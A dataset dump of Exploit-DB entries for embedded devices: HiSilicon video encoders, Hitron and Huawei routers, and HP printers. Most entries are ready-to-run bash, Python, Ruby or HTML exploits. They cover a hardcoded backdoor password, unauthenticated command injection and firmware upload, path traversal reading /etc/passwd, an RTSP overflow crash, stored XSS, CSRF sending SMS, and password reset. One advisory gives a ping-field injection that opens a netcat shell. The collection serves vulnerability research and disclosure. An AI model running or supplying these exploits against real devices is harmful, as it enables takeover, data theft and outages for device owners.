deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48902
Description: HiSilicon Video Encoders - Full admin access via backdoor password
Type: webapps
Platform: hardware
Date: 2020-10-19
Author: Alexei Kojenov

Exploit:
#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - full admin access via backdoor password
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24215
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 1 ]
then
  echo "Usage: $0 <server>[:<port>]"
  exit 1
fi

printf "retrieving the password... "
password=$(curl -s --user admin:neworange88888888 http://$1/get_sys | \
           grep -oP '(?<=<html_password>).*?(?=</html_password>)')
ret=$?
           
if [ "$ret" -eq 0 ]
then
  echo "the password is '$password'"
  echo "navigate to http://$1 and log into the admin interface with user 'admin' and password '$password'"
else
  echo "ERROR: curl returned $ret"
fi
Exploit-DB #48900
Description: HiSilicon Video Encoders - RCE via unauthenticated command injection
Type: webapps
Platform: hardware
Date: 2020-10-19
Author: Alexei Kojenov

Exploit:
#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - RCE via unauthenticated command injection
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24217
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "Usage: $0 <server>[:<port>] <command>"
  exit 1
fi

printf "executing the command... "
if curl -sF "upgrade=;filename=\"logo;$2;.png\"" http://$1 >/dev/null
then
  echo "SUCCESS: remote command executed"
else
  echo "ERROR: $?"
fi
Exploit-DB #48901
Description: HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware
Type: webapps
Platform: hardware
Date: 2020-10-19
Author: Alexei Kojenov

Exploit:
#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - RCE via unauthenticated upload of malicious firmware
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24217
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "Usage:   $0 <server>[:<port>] <command>"
  exit 1
fi

printf "creating uk.rar... "
echo "$2" > uk.txt
rar a -ma4 uk.rar uk.txt >/dev/null 2>&1 || { echo "ERROR: rar failed. Is it installed?"; exit 2; }
echo "done"
rm uk.txt

printf "uploading the RAR file... "
if curl -s -F 'upgrade=@uk.rar' http://$1 >/dev/null
then
  echo "SUCCESS: remote command executed"
  rm uk.rar
else
  echo "ERROR: $?"
fi
Exploit-DB #48899
Description: HiSilicon Video Encoders - Unauthenticated file disclosure via path traversal
Type: webapps
Platform: hardware
Date: 2020-10-19
Author: Alexei Kojenov

Exploit:
#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - unauthenticated file disclosure via path traversal
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: https://www.szuray.com/
# Software Link: N/A
# Version: up to 1.97
# Tested on: Linux
# CVE: CVE-2020-24219
# Vendors: URayTech
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "Usage:   $0 <server>[:<port>] <filepath>"
  echo "Example: $0 1.2.3.4:8086 /box/box.ini"
  exit 1
fi

curl -s --path-as-is "http://$1/../../sys/devices/media/13070000.jpgd/../../../..$2" \
  || echo "ERROR: curl returned $?"
Exploit-DB #48903
Description: HiSilicon Video Encoders - Unauthenticated RTSP buffer overflow (DoS)
Type: webapps
Platform: hardware
Date: 2020-10-19
Author: Alexei Kojenov

Exploit:
#!/usr/bin/env bash

# Exploit Title: HiSilicon video encoders - unauthenticated RTSP buffer overflow (DoS)
# Date: 2020-09-20
# Exploit Author: Alexei Kojenov
# Vendor Homepage: multiple vendors
# Software Link: N/A
# Version: vendor-specific
# Tested on: Linux
# CVE: CVE-2020-24214
# Vendors: URayTech, J-Tech Digital, ProVideoInstruments
# Reference: https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/
# Reference: https://www.kb.cert.org/vuls/id/896979


if [ "$#" -ne 2 ]
then
  echo "usage: $0 <server> <RTSP port>"
  exit 1
fi

server=$1
port=$2

printf "checking the target... "
timeout 2 curl -s rtsp://$server:$port \
  || { echo "ERROR: no RTSP server found at $server:$port"; exit 2; }
printf "RTSP server detected\n"
  
cseq=$(printf "0%0.s" {1..3000})

printf "sending the payload... "
printf "OPTIONS /0 RTSP/1.0\nCSeq: %s\n\n" $cseq | telnet $server $port >/dev/null 2>&1
printf "done\n"

sleep 1
printf "checking the target again... "
if timeout 2 curl -s rtsp://$server:$port
then
  echo "ERROR: the RTSP server still seems to be running :("
else
  echo "SUCCESS: the server is down"
fi
Exploit-DB #40158
Description: Hitron CGNV4 Modem/Router 4.3.9.9-SIP-UPC - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2016-07-25
Author: Gergely Eberhardt

Exploit:
Hitron CGNV4 modem/router multiple vulnerabilities
--------------------------------------------------

Platforms / Firmware confirmed affected:
- Hitron CGNV4, 4.3.9.9-SIP-UPC
- Product page: http://www.hitrontech.com/en/cable_detail.php?id=62

Vulnerabilities
---------------
Insecure session management

The web interface uses insecure cookies, which can be brute-forced
easily (e.g cookie: userid=0). If admin login is successful, the IP
address of the admin user is stored and everybody can access the
management interface with the same IP.

Missing CSRF protection

The web interface is not used any CSRF protection. In case of a valid
session exists, the attacker can modify any settings of the router. If
the default admin password was not changed, the attacker can perform a
login also and modify any settings after it.

Authenticated command injection

The ping diagnostic function is vulnerable to system command injection,
because the parameters are checked only at the client side. Using the
following ping target, the attacker can gain local root access to the
device: 

“google.com;nc -l -p 1337 -e /bin/sh;echo”.

Disclaimer
----------
We found these vulnerabilities within a very short time range (3 hours),
and we did not check a lot of areas such as:
- Command injections in other modules
- Buffer overflows
- User authentication
- Default SSID and passphrase
- Analysis of the backup file
- Device configuration (such as SNMP)

Timeline
--------
- 2015.10.16: Vulnerabilities found in the Hitron CGNV4 were reported to UPC Magyarorszag and Liberty Global
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a wardriving experiment in Budapest, Hungary to measure the rate of end users who are still using the default passphrases.

Recommendations
---------------
We do not know about any possible solution. Firmware update should
install the ISP after the fix will be ready.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
----------
[1] http://www.search-lab.hu/advisories/secadv-20160720
Exploit-DB #38575
Description: Hitron Router CGN3ACSMR 4.5.8.16 - Arbitrary Code Execution
Type: webapps
Platform: hardware
Date: 2015-10-30
Author: Dolev Farhi

Exploit:
# Exploit title: Hitron Router (CGN3ACSMR) - Remote Code Execution 
# Author: Dolev Farhi (dolevf at protonmail.ch)
# Date: 29-10-2015
# Vendor homepage: http://www.hitrontech.com/en/index.php
# Software version: 4.5.8.16
# Hardware version: 1A

# Details:
Hitron routers provide an interface to test connectivity (ping, tracert) via the graphical user interface of the router (Management UI).
This interface is vulnerable to code injection using the && argument after the IP address.

# Steps to reproduce:
1. Navigate to the dashboard
2. Navigate to the admin tab
3. Type an ip address in the Destination form
4. append any code you want after the ip.

Example one: 
8.8.8.8 && cat /etc/passwd

Result

root:$1$27272727:0:0::/:/bin/false
nobody:$1$27272727:65535:65535::/:/bin/false
rogcesadmin:filtered/:100:100::/:/usr/sbin/cli
=============Complete==============



Example two:
8.8.8.8 && ip a 
PID USER VSZ STAT COMMAND
1 root 1268 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
5 root 0 SW [kworker/u:0]
6 root 0 SW< [khelper]
7 root 0 SW [irq/74-hw_mutex]
8 root 0 SW [sync_supers]
9 root 0 SW [bdi-default]
10 root 0 SW< [kblockd]
11 root 0 SW< [gPunitWorkqueue]
12 root 0 SW [irq/79-punit_in]
13 root 0 SW [kswapd0]
14 root 0 SW< [crypto]
Exploit-DB #25715
Description: HP LaserJet Pro P1606dn - Webadmin Password Reset
Type: webapps
Platform: hardware
Date: 2013-05-26
Author: m3tamantra

Exploit:
#!/usr/bin/python
# Exploit Title: HP LaserJet Pro P1606dn Webadmin password reset
# Date: 20.05.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://www8.hp.com/de/de/products/printers/product-detail.html?oid=4110411 
# Firmware Date: 20100223

import urllib2

ip = '192.168.1.2' # Printer IP

req = urllib2.Request('http://'+ip+'/cgi-bin/ip_password_result.htm', data='ID_p+184=&ID_p+184=&Apply=%C3%9Cbernehmen')
req.add_header('Referer', 'http://'+ip+'/SSI/Auth/ip_password.htm')
req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1')

f = urllib2.urlopen(req)
if f.getcode() == 200:
    print 'Password reset successfully\nHave a nice day ;-)'
else:
    print 'Exploit fail :'+f.getcode()
Exploit-DB #50227
Description: HP OfficeJet 4630/7110 MYM1FN2025AR/2117A - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: hardware
Date: 2021-08-25
Author: Tyler Butler

Exploit:
# Exploit Title: HP OfficeJet 4630/7110 MYM1FN2025AR 2117A – Stored Cross-Site Scripting (XSS)
# Date: 01/08/2021
# Exploit Author: Tyler Butler
# Vendor Homepage: https://www8.hp.com/
# Vendor Bulletin: https://support.hp.com/ie-en/document/ish_4[PII_REDACTED]857-16/hpsbpi03742
# Researcher Bulletin: https://tbutler.org/2021/04/29/hp-officejet-4630
# Version: HP OfficeJet 7110 Wide Format ePrinter
# Tested on: HP Officejet 4630 e-All-in-One Printer series model number B4L03A

# PoC:
import requests
import json
from requests.exceptions import HTTPError

target = 'http://192.168.223.1'   # The IP of the vulnerable taget 
payload = '''<script>alert('XSS');</script>'''  # The XSS injection payload you want to use 
path='/DevMgmt/ProductConfigDyn.xml'   # Path location of the PUT command
pre = '''
<?xml version="1.0" encoding="UTF-8"?>
<!-- THIS DATA SUBJECT TO DISCLAIMER(S) INCLUDED WITH THE PRODUCT OF ORIGIN. -->
<prdcfgdyn2:ProductConfigDyn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dd="http://www.hp.com/schemas/imaging/con/dictionaries/1.0/" xmlns:prdcfgdyn2="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16" xmlns:prdcfgdyn="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2009/03/16 ../schemas/ledm2/ProductConfigDyn.xsd                               http://www.hp.com/schemas/imaging/con/ledm/productconfigdyn/2007/11/05 ../schemas/ProductConfigDyn.xsd                               http://www.hp.com/schemas/imaging/con/dictionaries/1.0/ ../schemas/dd/DataDictionaryMasterLEDM.xsd">
	<prdcfgdyn2:ProductSettings>
		<prdcfgdyn:DeviceInformation>
			<dd:DeviceLocation>
'''  # The start of the request body
post = '''
            </dd:DeviceLocation>
		</prdcfgdyn:DeviceInformation>
	</prdcfgdyn2:ProductSettings>	
</prdcfgdyn2:ProductConfigDyn>
'''   # The end of the request body 
body = pre + payload + post


headers = {
            'Host':'192.168.223.1', 
            'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0',
            'Accept':'*/*',
            'Accept-Language':'en-US,en;q=0.5',
            'Accept-Encoding':'gzip, deflate',
            'Content-Type':'text/xml',
            'Content-Length':str(len(body.encode('utf-8'))),
            'Origin':'https://192.168.223.1',
            'Connection':'close',
            'Referer':target,
        }

print('{!} Starting HP Officejet 4630 XSS Injector .... \n    Author: Tyler Butler\n    @tbutler0x90')
try:
    print('{!} Injecting payload :',payload)
    response = requests.put(target+path, headers = headers, data = body)
    response.raise_for_status()
except HTTPError as http_err:
    print('{X}',f'HTTP error occurred: {http_err}') 
except Exception as err:
    print('{X}',f'Other error occurred: {err}')
else:
    print('{!} Success!')
Exploit-DB #50701
Description: Huawei DG8045 Router 1.0 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2022-02-02
Author: Abdalrahman Gamal

Exploit:
# Title: Huawei DG8045 Router 1.0 - Credential Disclosure
# Date: 2020-06-24
# Author: Abdalrahman Gamal
# Vendor Homepage: www.huawei.com
# Version: dg8045
# HardwareVersion: VER.A
# CVE: N/A

#POC:

The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.

An attacker can leak the serial number via the web app API like the
following:

************************Request************************
GET /api/system/deviceinfo HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/
X-Requested-With: XMLHttpRequest
Connection: close


************************Response************************
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Thu, 24 Jun 2021 02:07 GMT+2
Connection: Keep-Alive
Content-Language: en
Content-Type: application/javascript
Content-Length: 141

while(1); /*{"DeviceName":"DG8045","SerialNumber":"[PII_REDACTED]7SK9252081","ManufacturerOUI":"00E0FC","UpTime":81590,"HardwareVersion":"VER.A"}*/
Exploit-DB #46092
Description: Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)
Type: webapps
Platform: hardware
Date: 2019-01-07
Author: Nathu Nandwani

Exploit:
# Exploit Title: Huawei E5330 Cross-Site Request Forgery (Send SMS)
# Date: 01/07/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: https://consumer.huawei.com/in/mobile-broadband/e5330/
# Version: 21.210.09.00.158
# Tested on: Windows 10 x64
# CVE: CVE-2014-5395
# Note: The administrator who opens the URL should be authenticated.
import socket
import time
 
server_ip = "0.0.0.0"
server_port = 80
 
huawei_ip = "192.168.8.1"
receiving_phone_no = "[PII_REDACTED]0"
sms_text = "This is a SPAM text from Huawei E5330"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)
 
print "Currently listening at " + server_ip + ":" + str(server_port)        
 
client, (client_host, client_port) = sock.accept()
 
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)
 
client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')

client.send("""
<html>
    <body>
        <script>
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://""" + huawei_ip + """/api/sms/send-sms", true);
            xhr.send('<?xml version="1.0" encoding="UTF-8"?><request><Index>0</Index><Phones><Phone>""" + receiving_phone_no + """</Phone></Phones><Sca></Sca><Content>""" + sms_text  + """</Content><Length>""" + str(len(sms_text)) + """</Length><Reserved>1</Reserved><Date>""" + time.strftime('%Y-%m-%d %H:%M:%S') + """</Date></request>');
        </script>
    </body>
</html>
""")
 
client.close()
sock.close()
Exploit-DB #47923
Description: Huawei HG255 - Directory Traversal (Metasploit)
Type: webapps
Platform: hardware
Date: 2020-01-15
Author: Ismail Tasdelen

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##


class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient

   def initialize
       super(
           'Name'        => 'Huawei HG255 Directory Traversal',
           ‘Description’ => ‘Server Directory Traversal at Huawei HG255 by malicious GET requests’,
           ‘Author’      => ‘Ismail Tasdelen’,
           ‘License’     => MSF_LICENSE,
           ‘References’     =>
           [
              ['CVE', '2017-17309' ],
              ['URL', 'https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en']
           ]
       )
       register_options(
           [
               Opt::RPORT(80)
           ], self.class
       )
   end

   def run
       urllist=[
           ‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
           ‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
           ‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
           ‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’]

       urllist.each do |url|
           begin
               res = send_request_raw(
               {
                       ‘method’=> ‘GET’,
                       ‘uri’=> url
               })

               if res
                   print_good(“Vulnerable! for #{url}”)
               else
                   print_status(“Vulnerable(no response) detected for #{url}”)
               end
           rescue Errno::ECONNRESET
               print_status(“Vulnerable(rst) detected for #{url}”)
           rescue Exception
               print_error(“Connection failed.”)
           end
       end
   end
Exploit-DB #42634
Description: Huawei HG255s - Directory Traversal
Type: webapps
Platform: hardware
Date: 2017-09-07
Author: Ahmet Mersin

Exploit:
# Exploit Title: [Server Directory Traversal at Huawei HG255s]

# Date: [07.09.2017]

# Exploit Author: [Ahmet Mersin]

# Vendor Homepage: [www.huawei.com]

# Software Link: [Not published this modem just used by Turkey]

# Version: [V100R001C163B025SP02]

#POC:

https://www.youtube.com/watch?v=n02toTFkLOU&feature=youtu.be

http://192.168.1.1/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd

#You want to follow my activity ?

https://www.linkedin.com/in/ahmet-mersin-177398b0/

@gaissecurity
Exploit-DB #48310
Description: Huawei HG630 2 Router - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2020-04-13
Author: Eslam Medhat

Exploit:
# Title: Huawei HG630 2 Router - Authentication Bypass
# Date: 2020-04-13
# Author: Eslam Medhat
# Vendor Homepage: www.huawei.com
# Version: HG630 V2
# HardwareVersion: VER.B
# CVE: N/A

#POC:

The default password of this router is the last 8 characters of the
device's serial number which exist in the back of the device.

An attacker can leak the serial number via the web app API like the
following:

************************Request************************
GET /api/system/deviceinfo HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/
X-Requested-With: XMLHttpRequest
Connection: close
Cookie:
SessionID_R3=0PVHKCwY01etBMntI9TZZRvYX04emsjws0Be4EQ8VcoojhWaRQpOV9E0BbAktJDwzI0au6s1xgl0Cn7bvN9rejjMhJCI1t07f2XDnbo09tjN4mcG0XMyXbMoJLjViHm


************************Response************************
HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jan 2010 09:14:47 GMT
Connection: Keep-Alive
Content-Language: en
Content-Type: application/javascript
Content-Length: 141

while(1); /*{"DeviceName":"HG630
V2","SerialNumber":"T5D7S[PII_REDACTED]","ManufacturerOUI":"00E0FC","UpTime":33288,"HardwareVersion":"VER.B"}*/


You can use that serial number to login to the router.

#Reference:
https://www.youtube.com/watch?v=vOrIL7L_cVc
Exploit-DB #19185
Description: Huawei HG866 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2012-06-16
Author: hkm

Exploit:
# Exploit Title: Huawei HG866 Authentication Bypass
# Date: Jun 14 2012
# Exploit Author: hkm
# Vendor Homepage: http://www.huawei.com
# Version: V1R2C01SPC202, R3.2.4.92sbn - R3.4.2.257sbn, 3FE53864AOCB16
# Tested on: HG866GTA_VER.C, 01, 02
# Advisory: http://websec.mx/advisories/view/Evasion_de_autenticacion_en_Huawei_HG866

Huawei HG866 GPON routers don't properly validate the session on every page. It is possible to change the web interface admin password by performing an unauthenticated post directly to the form.

PoC / Exploit:

<!--Changes root password --!>
<form name=hg866bypass action=http://187.162.144.50/html/password.html method=post >
<input name=psw value=password ><input name=reenterpsw value=password >
<input type="submit" name="save" value="Apply" />
</form>

<!--Reboots the device --!>
<form name=hg866dos action=http://192.168.100.251/html/admin_reboot.html" method="post">
<input type=submit name=save id=save value=Reboot />
</form>



hkm